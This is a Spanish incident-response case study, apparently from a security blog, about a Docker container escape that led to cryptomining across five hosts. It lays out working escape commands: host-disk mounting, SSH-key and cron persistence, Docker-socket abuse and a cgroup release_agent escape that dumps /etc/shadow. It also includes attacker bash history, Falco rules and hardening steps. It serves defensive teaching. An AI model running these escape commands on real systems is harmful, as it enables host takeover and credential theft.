Container Escape: Docker Breakout y Respuesta a Incidente
Análisis completo de técnicas de container escape en Docker: contenedores privilegiados, montaje del host filesystem, exploits del kernel, vulnerabilidades runC. Detección con Falco y auditd, contención, forense de contenedores, hardening y mapeo ATT&CK.
El mito del aislamiento perfecto
Los contenedores Docker revolucionaron el despliegue de aplicaciones, pero con una premisa de seguridad que muchos malinterpretan: los contenedores no son máquinas virtuales. Mientras una VM ejecuta su propio kernel aislado, los contenedores comparten el kernel del host y dependen de mecanismos de aislamiento de Linux (namespaces, cgroups, capabilities, seccomp) que pueden ser subvertidos si están mal configurados o si el kernel tiene vulnerabilidades.
Un container escape (o breakout) ocurre cuando un atacante logra salir del contenedor y ejecutar código en el host. En un entorno de producción con cientos de contenedores, esto equivale a comprometer toda la infraestructura.
En este caso de uso, analizamos un incidente real donde un atacante explotó una configuración insegura de Docker para escapar del contenedor, acceder al host, y desplegarse lateralmente en la infraestructura.
El modelo de seguridad de contenedores
Antes de analizar el escape, es importante entender qué mecanismos de aislamiento proporciona Docker:
Namespaces
Los namespaces de Linux crean vistas aisladas de los recursos del sistema:
| Namespace | Aísla | Qué significa para el contenedor |
|---|---|---|
| PID | Procesos | El contenedor ve solo sus propios procesos |
| NET | Red | El contenedor tiene su propia interfaz de red |
| MNT | Sistema de ficheros | El contenedor ve solo su filesystem |
| UTS | Hostname | El contenedor tiene su propio hostname |
| IPC | Comunicación inter-proceso | Semáforos y memoria compartida aislados |
| USER | UIDs/GIDs | Root dentro del contenedor puede no ser root en el host |
Capabilities
Linux divide los privilegios de root en capabilities individuales. Docker por defecto elimina muchas capabilities peligrosas:
Capabilities ELIMINADAS por defecto:
CAP_SYS_ADMIN → Montar filesystems, configurar namespaces
CAP_SYS_PTRACE → Trazar/depurar otros procesos
CAP_SYS_MODULE → Cargar módulos del kernel
CAP_NET_ADMIN → Configurar la red del host
CAP_SYS_RAWIO → Acceso directo a dispositivos
Capabilities MANTENIDAS por defecto:
CAP_CHOWN, CAP_DAC_OVERRIDE, CAP_FOWNER, CAP_NET_BIND_SERVICE, etc.
¿Qué rompe --privileged?
docker run --privileged ...
Este flag desactiva prácticamente todas las protecciones:
- Otorga TODAS las capabilities
- Desactiva el perfil seccomp
- Desactiva AppArmor/SELinux
- Da acceso a todos los dispositivos del host (
/dev/*) - Permite montar cualquier filesystem
Contexto del incidente
Infraestructura:
- Cluster de 5 servidores Docker (sin Kubernetes, Docker Compose)
- Ubuntu 22.04, Docker 24.0
- 47 contenedores en producción (aplicaciones web, APIs, bases de datos, colas)
- Red interna: 10.0.0.0/16
Aplicación comprometida:
- Contenedor de aplicación Node.js con vulnerabilidad RCE (deserialización insegura)
- El contenedor ejecutaba con
--privileged(configuración heredada, "siempre se hizo así") - El desarrollador necesitaba acceso a Docker socket para operaciones de CI/CD
Timeline:
- T+0: Explotación de la vulnerabilidad RCE en la aplicación Node.js
- T+15min: Reconocimiento dentro del contenedor, descubrimiento de acceso privilegiado
- T+30min: Container escape al host
- T+1h: Movimiento lateral a otros hosts Docker
- T+4h: Despliegue de cryptominer en todos los hosts
- T+12h: Alerta de Falco en un host que sí lo tenía configurado
- T+13h: Comienza la respuesta al incidente
Técnicas de container escape
El atacante exploró múltiples vectores de escape. Documentamos cada técnica:
Técnica 1: Contenedor privilegiado (la utilizada)
Con --privileged, el atacante tiene acceso directo a los dispositivos del host:
# Dentro del contenedor privilegiado
$ fdisk -l
/dev/sda1 * 2048 1953525134 976762543+ 83 Linux
# Montar el filesystem del host
$ mkdir /tmp/host
$ mount /dev/sda1 /tmp/host
# Ahora /tmp/host contiene TODO el filesystem del host
$ ls /tmp/host/
bin boot dev etc home lib media mnt opt proc root run sbin srv sys tmp usr var
# Acceder a las claves SSH del host
$ cat /tmp/host/root/.ssh/authorized_keys
# Escribir una clave SSH del atacante
$ echo "ssh-rsa AAAAB3... attacker@c2" >> /tmp/host/root/.ssh/authorized_keys
# Escribir un crontab de persistencia
$ echo "* * * * * /tmp/miner.sh" >> /tmp/host/var/spool/cron/crontabs/root
# O directamente hacer chroot al host
$ chroot /tmp/host /bin/bash
root@host:/# # Ahora somos root en el host
Técnica 2: Docker socket montado
Si el contenedor tiene acceso al Docker socket (/var/run/docker.sock), puede controlar Docker en el host:
# Verificar si el socket está montado
$ ls -la /var/run/docker.sock
srw-rw---- 1 root docker 0 Jun 5 00:00 /var/run/docker.sock
# Instalar Docker CLI dentro del contenedor
$ curl -fsSL https://get.docker.com | sh
# Crear un contenedor privilegiado que monte el host
$ docker run -it --privileged --pid=host --net=host \
-v /:/host alpine chroot /host /bin/bash
# Ahora somos root en el host
root@host:/#
Técnica 3: Exploit del kernel (CVE-2022-0185)
Si el contenedor ejecuta como root (aunque sin --privileged), ciertas vulnerabilidades del kernel permiten escapar:
# CVE-2022-0185: heap overflow en la función legacy_parse_param
# del VFS del kernel Linux (afecta kernels < 5.16.2)
# El exploit necesita CAP_SYS_ADMIN dentro de un user namespace
$ unshare -Urm
# Si el kernel es vulnerable, el exploit escala a root en el host
Técnica 4: Vulnerabilidad runC (CVE-2024-21626)
Una vulnerabilidad en runC (el runtime de contenedores usado por Docker) permite escapar mediante file descriptors heredados:
# CVE-2024-21626: runC hereda file descriptors del proceso host
# Un contenedor con un Dockerfile especialmente construido puede
# acceder al filesystem del host a través de /proc/self/fd/
Técnica 5: Montaje del cgroup (sin --privileged)
Si el contenedor tiene CAP_SYS_ADMIN (incluso sin --privileged), puede escapar via cgroups:
# Crear un cgroup que ejecute un comando en el host
$ mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
$ mkdir /tmp/cgrp/x
$ echo 1 > /tmp/cgrp/x/notify_on_release
$ host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
$ echo "$host_path/cmd" > /tmp/cgrp/release_agent
$ echo '#!/bin/bash' > /cmd
$ echo "cat /etc/shadow > $host_path/shadow_dump" >> /cmd
$ chmod +x /cmd
$ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# El comando /cmd se ejecuta en el host cuando el cgroup se libera
Fase 1: Detección
Alerta de Falco
Solo uno de los 5 hosts tenía Falco instalado. Cuando el atacante intentó montar el filesystem del host en ese servidor:
# Alerta de Falco
- rule: "Container Privileged - Mount Host Filesystem"
output: >
Privileged container mounted host filesystem
(user=%user.name command=%proc.cmdline container=%container.name
image=%container.image.repository mount_dest=/tmp/host)
priority: CRITICAL
tags: [container, escape, mitre_privilege_escalation]
20:34:15.000000 Critical Container Privileged - Mount Host Filesystem
user=root command=mount /dev/sda1 /tmp/host
container=app-nodejs-prod image=node:18-alpine
container_id=a1b2c3d4e5f6
Investigación inicial
# En el host donde Falco alertó
# Verificar contenedores privilegiados
$ docker ps --format '{{.Names}} {{.ID}}' | while read name id; do
priv=$(docker inspect "$id" --format '{{.HostConfig.Privileged}}')
if [ "$priv" = "true" ]; then
echo "PRIVILEGED: $name ($id)"
fi
done
PRIVILEGED: app-nodejs-prod (a1b2c3d4e5f6)
PRIVILEGED: ci-runner (f7e8d9c0b1a2)
# Verificar montajes del socket Docker
$ docker ps --format '{{.Names}} {{.ID}}' | while read name id; do
docker inspect "$id" --format '{{range .Mounts}}{{.Source}}{{end}}' | \
grep -q "docker.sock" && echo "DOCKER_SOCKET: $name ($id)"
done
DOCKER_SOCKET: ci-runner (f7e8d9c0b1a2)
Fase 2: Forense del contenedor
Captura del estado del contenedor
# Exportar el filesystem del contenedor comprometido
$ docker export a1b2c3d4e5f6 > /forensics/container_export.tar
# Inspeccionar los logs del contenedor
$ docker logs a1b2c3d4e5f6 --timestamps > /forensics/container_logs.txt
# Inspeccionar los procesos del contenedor
$ docker top a1b2c3d4e5f6
PID USER COMMAND
14523 root node /app/server.js
14891 root /bin/bash
14923 root mount /dev/sda1 /tmp/host
15012 root /tmp/host/usr/bin/curl http://pool.minexmr.com
# Inspeccionar las conexiones de red del contenedor
$ docker exec a1b2c3d4e5f6 ss -tupn
State Local Address:Port Peer Address:Port
ESTAB 10.0.1.5:49123 185.XX.XX.XX:443 users:(("curl",pid=15012))
ESTAB 10.0.1.5:49234 pool.minexmr.com:3333 users:(("xmrig",pid=15100))
Análisis del historial de bash
# Extraer historial de comandos del contenedor
$ docker exec a1b2c3d4e5f6 cat /root/.bash_history
id
uname -a
cat /proc/1/cgroup
fdisk -l
mkdir /tmp/host
mount /dev/sda1 /tmp/host
ls /tmp/host/root/.ssh/
cat /tmp/host/root/.ssh/id_rsa
# Copia de la clave SSH del host
echo "ssh-rsa AAAA..." >> /tmp/host/root/.ssh/authorized_keys
# Instalar herramientas
apt update && apt install -y nmap
nmap -sn 10.0.0.0/24
# SSH al siguiente host
ssh -o StrictHostKeyChecking=no [email protected]
ssh -o StrictHostKeyChecking=no [email protected]
ssh -o StrictHostKeyChecking=no [email protected]
ssh -o StrictHostKeyChecking=no [email protected]
Timeline del ataque
| Tiempo | Acción | Ubicación |
|---|---|---|
| 03:00 | RCE en Node.js (deserialización insegura) | Contenedor |
| 03:05 | Reconocimiento: id, uname, /proc/1/cgroup | Contenedor |
| 03:10 | Descubrimiento de --privileged via /proc/1/status | Contenedor |
| 03:15 | mount /dev/sda1 /tmp/host (escape al host) | Host 1 |
| 03:20 | Extracción de SSH key del host | Host 1 |
| 03:25 | Inyección de SSH key del atacante | Host 1 |
| 03:30 | nmap -sn 10.0.0.0/24 (descubrimiento de red) | Host 1 |
| 03:45 | SSH a hosts 2, 3, 4 y 5 con la clave robada | Hosts 2-5 |
| 04:00 | Despliegue de cryptominer en todos los hosts | Todos |
Fase 3: Contención y remediación
Contención inmediata
# 1. Detener el contenedor comprometido
$ docker stop a1b2c3d4e5f6
# 2. Bloquear tráfico de red del atacante
$ iptables -I INPUT -s 185.XX.XX.XX -j DROP
$ iptables -I OUTPUT -d pool.minexmr.com -j DROP
# 3. En TODOS los hosts: matar procesos de cryptominer
$ for host in 10.0.0.{1..5}; do
ssh root@$host "pkill -9 xmrig; pkill -9 minerd" 2>/dev/null
done
# 4. Eliminar claves SSH del atacante en todos los hosts
$ for host in 10.0.0.{1..5}; do
ssh root@$host "sed -i '/attacker@c2/d' /root/.ssh/authorized_keys" 2>/dev/null
done
# 5. Eliminar crontabs maliciosos
$ for host in 10.0.0.{1..5}; do
ssh root@$host "crontab -r" 2>/dev/null
done
# 6. Regenerar SSH keys de todos los hosts
$ for host in 10.0.0.{1..5}; do
ssh root@$host "rm /etc/ssh/ssh_host_*; dpkg-reconfigure openssh-server" 2>/dev/null
done
Eliminar la causa raíz
# 1. Eliminar flag --privileged de TODOS los contenedores
# docker-compose.yml:
# ANTES:
# app:
# privileged: true
# DESPUES:
# app:
# security_opt:
# - no-new-privileges:true
# read_only: true
# cap_drop:
# - ALL
# cap_add:
# - NET_BIND_SERVICE
# 2. Eliminar montajes del Docker socket
# Si CI/CD necesita Docker, usar Docker-in-Docker (dind) o Kaniko
# 3. Ejecutar contenedores como non-root
# Dockerfile:
# RUN addgroup -g 1001 appuser && adduser -u 1001 -G appuser -D appuser
# USER appuser
Despliegue de Falco en todos los hosts
# docker-compose-falco.yml
version: '3'
services:
falco:
image: falcosecurity/falco:latest
privileged: true
volumes:
- /var/run/docker.sock:/host/var/run/docker.sock
- /proc:/host/proc:ro
- /boot:/host/boot:ro
- /lib/modules:/host/lib/modules:ro
- ./falco-rules:/etc/falco/rules.d
environment:
- FALCO_GRPC_ENABLED=true
Reglas de Falco personalizadas
# /etc/falco/rules.d/container-escape.yaml
- rule: Container Escape via Privileged Mount
desc: Detect mount of host devices from within a container
condition: >
container and evt.type = mount and
(fd.name startswith /dev/sd or fd.name startswith /dev/vd or
fd.name startswith /dev/xvd or fd.name startswith /dev/nvme)
output: >
Container mounted host device
(user=%user.name command=%proc.cmdline container=%container.name
device=%fd.name image=%container.image.repository)
priority: CRITICAL
tags: [container, escape]
- rule: Docker Socket Access from Container
desc: Detect access to Docker socket from within a container
condition: >
container and fd.name = /var/run/docker.sock and
evt.type in (connect, open)
output: >
Container accessed Docker socket
(user=%user.name command=%proc.cmdline container=%container.name)
priority: HIGH
tags: [container, escape]
- rule: Container Namespace Change
desc: Detect namespace manipulation from within a container
condition: >
container and evt.type in (setns, unshare) and
not proc.name in (runc, containerd-shim)
output: >
Container attempted namespace change
(user=%user.name command=%proc.cmdline container=%container.name
ns_type=%evt.arg.flags)
priority: CRITICAL
tags: [container, escape]
- rule: Privileged Container Started
desc: Alert when a privileged container is started
condition: >
container and evt.type = container and
container.privileged = true
output: >
Privileged container started
(container=%container.name image=%container.image.repository
user=%user.name)
priority: WARNING
tags: [container, misconfiguration]
Hardening de Docker
Configuración segura de Docker daemon
// /etc/docker/daemon.json
{
"no-new-privileges": true,
"live-restore": true,
"userland-proxy": false,
"log-driver": "json-file",
"log-opts": {
"max-size": "10m",
"max-file": "3"
},
"default-ulimits": {
"nofile": {
"Name": "nofile",
"Hard": 64000,
"Soft": 64000
}
},
"icc": false,
"userns-remap": "default"
}
Checklist de seguridad de contenedores
[ ] NO usar --privileged (nunca en producción)
[ ] NO montar /var/run/docker.sock en contenedores
[ ] Ejecutar como non-root (USER en Dockerfile)
[ ] Usar read_only: true cuando sea posible
[ ] cap_drop: ALL y añadir solo las necesarias
[ ] Usar seccomp profile (default o custom)
[ ] Usar AppArmor o SELinux profiles
[ ] Escanear imágenes con Trivy/Grype antes de deploy
[ ] No usar imágenes :latest (versiones fijas)
[ ] Habilitar user namespace remapping
[ ] Network policies para aislar contenedores
[ ] Falco o auditd para monitorización runtime
[ ] Actualizar Docker y kernel regularmente
IOCs del incidente
Red
| Tipo | Valor | Contexto |
|---|---|---|
| IPv4 | 185.XX.XX.XX | IP del atacante (C2 y SSH) |
| Dominio | pool.minexmr.com | Pool de minería Monero |
| Puerto | 3333/tcp | Conexión al pool de minería |
| Puerto | 443/tcp | C2 del atacante |
Host
| Indicador | Valor |
|---|---|
| SSH key | ssh-rsa AAAA... attacker@c2 |
| Binario | /tmp/xmrig (cryptominer) |
| Crontab | * * * * * /tmp/miner.sh |
| Proceso | mount /dev/sda1 /tmp/host desde contenedor |
Contenedor
| Indicador | Valor |
|---|---|
| Contenedor | app-nodejs-prod (privilegiado) |
| Imagen | node:18-alpine |
| Vulnerabilidad | Deserialización insegura en la aplicación |
| Montaje | /dev/sda1 en /tmp/host |
Mapeo MITRE ATT&CK
| Táctica | Técnica | ID | Detalle |
|---|---|---|---|
| Initial Access | Exploit Public-Facing Application | T1190 | RCE en aplicación Node.js |
| Privilege Escalation | Escape to Host | T1611 | Container escape via --privileged |
| Persistence | Account Manipulation: SSH Authorized Keys | T1098.004 | Inyección de SSH key |
| Persistence | Scheduled Task/Job: Cron | T1053.003 | Crontab para cryptominer |
| Discovery | Network Service Discovery | T1046 | nmap de la red interna |
| Discovery | System Information Discovery | T1082 | Reconocimiento del host |
| Lateral Movement | Remote Services: SSH | T1021.004 | SSH a otros hosts con clave robada |
| Defense Evasion | Exploitation for Defense Evasion | T1211 | Abuso de --privileged |
| Impact | Resource Hijacking | T1496 | XMRig cryptominer en 5 hosts |
Lecciones aprendidas
1. --privileged es root en el host. No existe un caso de uso legítimo en producción que justifique --privileged. Si una aplicación "necesita" privilegios, el problema está en la arquitectura, no en los permisos.
2. El Docker socket es la llave maestra. Montar /var/run/docker.sock dentro de un contenedor es equivalente a dar acceso root al host. Para CI/CD, usar Kaniko (builds sin daemon) o Docker-in-Docker con aislamiento adicional.
3. Un host comprometido compromete todos los contenedores. La falta de aislamiento entre hosts Docker (todos compartían las mismas SSH keys) permitió que el atacante se moviera lateralmente sin obstáculos.
4. Falco en un solo host no es suficiente. La detección llegó 12 horas después del compromiso porque solo un host de cinco tenía monitorización. La cobertura de seguridad debe ser del 100%.
5. Las configuraciones heredadas son deuda de seguridad. El flag --privileged se configuró inicialmente "para pruebas" y nunca se eliminó. Las revisiones periódicas de configuración de contenedores son imprescindibles.
6. La seguridad de contenedores es defensa en profundidad. Ninguna medida individual es suficiente. La combinación de imágenes escaneadas, contenedores non-root, capabilities mínimas, seccomp, network policies, y monitorización runtime proporciona capas que el atacante debe superar todas.
Caso anonimizado con fines educativos. Los IOCs han sido modificados para proteger la identidad de la organización afectada. Todos los indicadores se proporcionan con contexto defensivo.
Preguntas frecuentes
Libros recomendados
Artículos relacionados
Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.